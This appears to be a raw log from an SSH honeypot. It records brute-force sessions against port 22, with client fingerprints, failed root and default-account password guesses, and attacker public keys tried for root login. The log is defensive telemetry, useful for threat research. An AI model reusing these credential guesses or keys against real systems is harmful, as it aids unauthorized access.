{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36424,"dst_ip":"159.203.135.109","dst_port":22,"session":"effe01a8b414","protocol":"ssh","message":"New connection: 103.195.236.96:36424 (159.203.135.109:22) [session: effe01a8b414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:52.585608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:52.590661Z","src_ip":"103.195.236.96","session":"effe01a8b414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:52.829819Z","src_ip":"103.195.236.96","session":"effe01a8b414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j3qq4h7h2v","message":"login attempt [root/j3qq4h7h2v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:53.571348Z","src_ip":"103.195.236.96","session":"effe01a8b414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:31:54.812413Z","src_ip":"103.195.236.96","session":"effe01a8b414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":38916,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db6e8f74760","protocol":"ssh","message":"New connection: 103.75.183.219:38916 (159.203.135.109:22) [session: 0db6e8f74760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:17.287426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:17.291967Z","src_ip":"103.75.183.219","session":"0db6e8f74760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:17.536629Z","src_ip":"103.75.183.219","session":"0db6e8f74760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweewq","message":"login attempt [root/qweewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:18.270551Z","src_ip":"103.75.183.219","session":"0db6e8f74760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:19.518873Z","src_ip":"103.75.183.219","session":"0db6e8f74760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53748,"dst_ip":"159.203.135.109","dst_port":22,"session":"65189a4c9c87","protocol":"ssh","message":"New connection: 80.94.92.186:53748 (159.203.135.109:22) [session: 65189a4c9c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:41.838170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:42.669056Z","src_ip":"80.94.92.186","session":"65189a4c9c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:42.673058Z","src_ip":"80.94.92.186","session":"65189a4c9c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:43.744137Z","src_ip":"80.94.92.186","session":"65189a4c9c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:32:44.942782Z","src_ip":"80.94.92.186","session":"65189a4c9c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44790,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9e032cf57e","protocol":"ssh","message":"New connection: 103.27.238.120:44790 (10.17.0.5:22) [session: 9f9e032cf57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:01.854020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:01.861492Z","src_ip":"103.27.238.120","session":"9f9e032cf57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:02.128527Z","src_ip":"103.27.238.120","session":"9f9e032cf57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.","message":"login attempt [root/123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:02.934985Z","src_ip":"103.27.238.120","session":"9f9e032cf57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:04.204312Z","src_ip":"103.27.238.120","session":"9f9e032cf57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.241.143","src_port":50402,"dst_ip":"10.17.0.5","dst_port":22,"session":"878e131c6f5d","protocol":"ssh","message":"New connection: 208.87.241.143:50402 (10.17.0.5:22) [session: 878e131c6f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:21.965961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:21.970847Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.041019Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:31:ad:9c:95:29:b6:45:35:48:e2:c8:78:ba:05:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Aj/Mqy6m41NEQR36YlI8GlhNaQzm5WrGnT4PH6yldNz/6jqL9NyYLYPFiN6NfKliYyo3W0uIVv7Oa6PyIX9f64i2po4S3NXUffjB2f5ne4//eWUqrLQwGJRXqQmLNGJvJu2rksBZzriSurkVVKJ27USiqgX0C6BgCxP+IXT2Cnb5UqVQaAyo52SLBYUHbR5s10uGiMyR6r5w932d+8SVaxfxAfVM5FgMRDV8GAoXcpY7jr6t7zYwvSwWw/igTSHez/yyVZJtagJwal4dxfZjfFlqwZLNGP/luF6ntScX4fZYpLdpWWVf2GVVITc5ZpH/8A+44e8EtD5EcTWHfaeh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:31:ad:9c:95:29:b6:45:35:48:e2:c8:78:ba:05:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.362113Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:31:ad:9c:95:29:b6:45:35:48:e2:c8:78:ba:05:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Aj/Mqy6m41NEQR36YlI8GlhNaQzm5WrGnT4PH6yldNz/6jqL9NyYLYPFiN6NfKliYyo3W0uIVv7Oa6PyIX9f64i2po4S3NXUffjB2f5ne4//eWUqrLQwGJRXqQmLNGJvJu2rksBZzriSurkVVKJ27USiqgX0C6BgCxP+IXT2Cnb5UqVQaAyo52SLBYUHbR5s10uGiMyR6r5w932d+8SVaxfxAfVM5FgMRDV8GAoXcpY7jr6t7zYwvSwWw/igTSHez/yyVZJtagJwal4dxfZjfFlqwZLNGP/luF6ntScX4fZYpLdpWWVf2GVVITc5ZpH/8A+44e8EtD5EcTWHfaeh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.365915Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:d6:4c:72:f9:08:7f:f5:2c:99:c0:fb:6f:1b:c1:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy8XHjInZPy1ap4sxwvEiHvus6oj/SGi2Hgh7r+UDkQxicglSGTRe/0wx/8R4VxZGy6wW1WDh+mM3ou72Bb7OyDljo9vFEi5u8gWV/l1dLoECBV3asNcJ3Qz72En8iQY1Mg2CuqLqNm07YDnTtivm+vsCG9xsiUiH8pNFW3976hMP4hSybxsCctcQgN9MYJFeUYtp6x8tnS67C/QEhHiID1ZDyojxjSsLYZDqHuTWPeQXtDBF/xg1WMuCz7lddm9+AjeuPfCQzOItL76Ym6AKhG8LFc7wTg9KURY5weQIzXJOgUqyHLeit+vLVQsw2URvlpTrnsbL3C7ulkp3Z7dXvVScSZXLT56tmGVMwOddJgvlAl/1nyvxYBNI0c0FbuzhfiegEIV9VnGE+KaAupVWG7fpuJD4piw15iy/59HDZ0cI8UMrGwxQP6Rm3h7jt+IRmsxWPz6yOTV3wCkyqAwll2TJtOLHq89W9wUjXwVCGkRViXh2tMe1nOeBlZP3XCW8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:d6:4c:72:f9:08:7f:f5:2c:99:c0:fb:6f:1b:c1:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.435177Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:d6:4c:72:f9:08:7f:f5:2c:99:c0:fb:6f:1b:c1:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy8XHjInZPy1ap4sxwvEiHvus6oj/SGi2Hgh7r+UDkQxicglSGTRe/0wx/8R4VxZGy6wW1WDh+mM3ou72Bb7OyDljo9vFEi5u8gWV/l1dLoECBV3asNcJ3Qz72En8iQY1Mg2CuqLqNm07YDnTtivm+vsCG9xsiUiH8pNFW3976hMP4hSybxsCctcQgN9MYJFeUYtp6x8tnS67C/QEhHiID1ZDyojxjSsLYZDqHuTWPeQXtDBF/xg1WMuCz7lddm9+AjeuPfCQzOItL76Ym6AKhG8LFc7wTg9KURY5weQIzXJOgUqyHLeit+vLVQsw2URvlpTrnsbL3C7ulkp3Z7dXvVScSZXLT56tmGVMwOddJgvlAl/1nyvxYBNI0c0FbuzhfiegEIV9VnGE+KaAupVWG7fpuJD4piw15iy/59HDZ0cI8UMrGwxQP6Rm3h7jt+IRmsxWPz6yOTV3wCkyqAwll2TJtOLHq89W9wUjXwVCGkRViXh2tMe1nOeBlZP3XCW8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.440212Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:26:5f:ac:a7:ef:63:f0:c5:65:ae:e3:3d:ea:63:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+xbl+l9AQuHKEIudRq3uvP330CaOM/cwkqgccaCxC/stOvxLqBX+q/DHQ8B57LG9zzah/ZIYY+iWzdFXCVUAD4vKN+xB1Nf8D9SzNPFHCNT9igmyFnLkhtAtvq/e2ztA9FWt3+fKbV0Ifcf2hL943CHhXWQVHfoUwLkEyeTqz0gXquH0zYffG9p6+qPM7tyAlUUqx91nrdm9lcbcF4oF/ID4PMsD37s9uIs2XeDmginMADUtaWiRD8s3RethOh2R8HaVxGIL++PbIakzIli1zs074gYlUxOp0OOqC57eUteEvPEtE2HDhIi3kQuXVxdUlUpGN9F7k2okt74Dl9K0f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:26:5f:ac:a7:ef:63:f0:c5:65:ae:e3:3d:ea:63:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.510259Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:26:5f:ac:a7:ef:63:f0:c5:65:ae:e3:3d:ea:63:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+xbl+l9AQuHKEIudRq3uvP330CaOM/cwkqgccaCxC/stOvxLqBX+q/DHQ8B57LG9zzah/ZIYY+iWzdFXCVUAD4vKN+xB1Nf8D9SzNPFHCNT9igmyFnLkhtAtvq/e2ztA9FWt3+fKbV0Ifcf2hL943CHhXWQVHfoUwLkEyeTqz0gXquH0zYffG9p6+qPM7tyAlUUqx91nrdm9lcbcF4oF/ID4PMsD37s9uIs2XeDmginMADUtaWiRD8s3RethOh2R8HaVxGIL++PbIakzIli1zs074gYlUxOp0OOqC57eUteEvPEtE2HDhIi3kQuXVxdUlUpGN9F7k2okt74Dl9K0f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.514538Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:5d:c5:b3:70:80:70:de:fa:11:3d:93:3e:45:39:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA48HKQXJ22D/946ncm+yH6NIOwfuKs7IOPYy29yOfl9J4yY27anaxVbbzQqtcApN3RtRV5hs18PulE9h/f+T7+Yn5M8zW5LFgChd1nI0eZgwfEBMCZ8E9BVX/RtCJgDhz/SKpd/O3JufTage1/Ut0sdkcgrZvaZiDvnsmzyuS2Hfjme+yZgknt6kJh1VoJ0SrURkCkmlnlCosIy7X2B4+KFW8wQ/qqzNoKytHMYwCiTzQEMdk6k99IgG1+ybBbX7zoMDFjK8ENGRlcm02PupHA+aaipQ6AVI5YME+4aNx/Wm/Ij5gW0z69X4akZVKzPQzKskbGlO2qxLCLTFCWbO6gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:5d:c5:b3:70:80:70:de:fa:11:3d:93:3e:45:39:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.583919Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:5d:c5:b3:70:80:70:de:fa:11:3d:93:3e:45:39:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA48HKQXJ22D/946ncm+yH6NIOwfuKs7IOPYy29yOfl9J4yY27anaxVbbzQqtcApN3RtRV5hs18PulE9h/f+T7+Yn5M8zW5LFgChd1nI0eZgwfEBMCZ8E9BVX/RtCJgDhz/SKpd/O3JufTage1/Ut0sdkcgrZvaZiDvnsmzyuS2Hfjme+yZgknt6kJh1VoJ0SrURkCkmlnlCosIy7X2B4+KFW8wQ/qqzNoKytHMYwCiTzQEMdk6k99IgG1+ybBbX7zoMDFjK8ENGRlcm02PupHA+aaipQ6AVI5YME+4aNx/Wm/Ij5gW0z69X4akZVKzPQzKskbGlO2qxLCLTFCWbO6gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.587999Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:f9:f1:6e:91:98:43:1e:57:4c:b4:fe:9e:35:59:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs3ej405A2ZIgJzR+GtQ1TbK71WHKBPVjr5YD4KYDhLIoe5LR6N8MMeQxLL/mlOoSlINt55FGoy1Y8gPHwJIct7iiR4lm1Hlm1Jkwzqd1w5JOnBjq2ROooA0VjswCFxEXPW1bpa+tCcFU2PQR1+t0qh6xRjigQRr2lxCJy4cnGZN1Q4wbsRjsTZNxRo17W9AGLk/1+rljAwqmOf7SqcrqVIL7Jxc81UwX5E4PCDpwVTXgY/9wbIYLeRw3XaV2CvA0ob5kD46IFfAGhOk16BiJs4Ul7yQUp7yr3Tnd3RsCMDQ1t4cfeHztV9/E13+zG+lizcI5wXZFAriRxg9DPNXK3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:f9:f1:6e:91:98:43:1e:57:4c:b4:fe:9e:35:59:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.660090Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
